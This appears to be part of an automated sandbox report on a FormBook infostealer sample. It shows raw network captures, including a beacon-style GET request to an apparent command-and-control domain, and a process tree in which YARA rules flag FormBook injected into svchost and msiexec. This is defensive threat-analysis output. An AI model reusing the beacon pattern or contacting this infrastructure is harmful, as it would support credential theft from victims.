Nov 5, 2024 15:39:04.830822945 CET	1289	IN	Data Raw: 50 02 2f ea 62 11 8c d6 d9 e1 9c 6e b8 bd 39 ae 85 3e 0e ad 8e 18 9d ce 84 c4 a7 e8 51 68 85 1d c3 8f db 89 bd 03 1b 56 0f b3 79 ac 9b 22 12 8d d5 49 c6 2f 90 b0 db b7 b3 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 Data Ascii: P/bn9>QhVy"I/rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-
Nov 5, 2024 15:39:04.830864906 CET	1289	IN	Data Raw: 57 61 6c 80 b9 47 b4 a3 71 a6 31 ae 3a 99 49 6d 3e 81 e1 de 6b 8b bc dd ce f9 82 5a f9 b9 d8 4b d5 01 3d 4d 61 b9 93 cc a6 1a 57 a9 15 d2 b2 64 89 72 37 ab 17 a7 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 Data Ascii: WalGq1:Im>kZK=MaWdr7q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zl
Nov 5, 2024 15:39:04.830893993 CET	57	IN	Data Raw: d0 35 da 27 2e 7b 76 9b 73 e3 90 f7 f1 f5 88 5c 7b ed 11 79 5e a8 1e 2f df c3 fd f8 ed bf 01 00 00 ff ff 0d 0a 41 0d 0a 03 00 ef 54 4b 09 6d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 5'.{vs\{y^/ATKm'0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	49818	68.65.122.222	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:39:07.355928898 CET	454	OUT	GET /gqtu/?uXP=1HX8&Q2_4=f6Wh19Zbj3f0KGUwZR2TDfnh8ZC1kt4m9SH2+p3LnlYuxzS1qi5wc2xrbNMUplnXpMrttmRXmQTtzIwx74OUI7QZZXrSykXx07R8xuG/LilMEmUkiLjEEHk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.osi.garden User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:39:07.534816980 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Tue, 05 Nov 2024 14:39:07 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 36 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 276D<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Nov 5, 2024 15:39:07.534876108 CET	1289	IN	Data Raw: 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 Data Ascii: 0%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A;
Nov 5, 2024 15:39:07.534919024 CET	1289	IN	Data Raw: 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 Data Ascii: text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0;
Nov 5, 2024 15:39:07.534960985 CET	1289	IN	Data Raw: 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: : 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; }
Nov 5, 2024 15:39:07.535002947 CET	1289	IN	Data Raw: 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 37 37 4e 4c 65 35 31 34 76 75 38 42 50 6a 36 2f 6e 33 6c 43 64 2f Data Ascii: fRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0KSQVIvQfERciMpcaFtW4
Nov 5, 2024 15:39:07.535043955 CET	1289	IN	Data Raw: 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 4f 4e 74 45 55 4b 58 47 43 39 35 6a 4b 2b 52 67 34 51 42 56 77 4e 6d 6c 65 50 5a 56 6a 54 78 75 6f 32 34 6b 57 4d 72 51 48 67 2f Data Ascii: 7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQ
Nov 5, 2024 15:39:07.535087109 CET	1289	IN	Data Raw: 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 49 2f 64 63 2f 42 36 4e 2f 4d 39 57 73 69 41 44 4f 30 30 41 33 51 55 30 68 6f 68 58 35 52 54 64 65 43 72 73 74 79 54 31 57 70 68 55 52 54 Data Ascii: api44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr27
Nov 5, 2024 15:39:07.535130978 CET	1289	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 73 68 74 6d 6c 20 70 6f 72 74 20 38 30 20 6f 6e 20 54 75 65 73 64 61 79 2c 20 30 35 2d 4e 6f 76 2d 32 30 32 34 20 30 39 3a 33 39 3a 30 37 20 45 53 54 22 3e 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 20 20 20 20 20 Data Ascii: document.shtml port 80 on Tuesday, 05-Nov-2024 09:39:07 EST"> WebMaster</a>. </section> <p class="reason-text">The server cannot find the requested page:</p> </div> <section class="additional-info">
Nov 5, 2024 15:39:07.535160065 CET	11	IN	Data Raw: 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ml>0

Target ID:	0
Start time:	09:32:48
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\p4rsJEIb7k.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\p4rsJEIb7k.exe"
Imagebase:	0x400000
File size:	1'335'565 bytes
MD5 hash:	159AFC06A66A86F332BE92F52963B09E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	09:32:50
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\p4rsJEIb7k.exe"
Imagebase:	0x1a0000
File size:	47'016 bytes
MD5 hash:	B7C999040D80E5BF87886D70D992C51E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	2
Start time:	09:33:31
Start date:	05/11/2024
Path:	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe"
Imagebase:	0xab0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	09:33:33
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0xdd0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	09:33:58
Start date:	05/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff793270000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true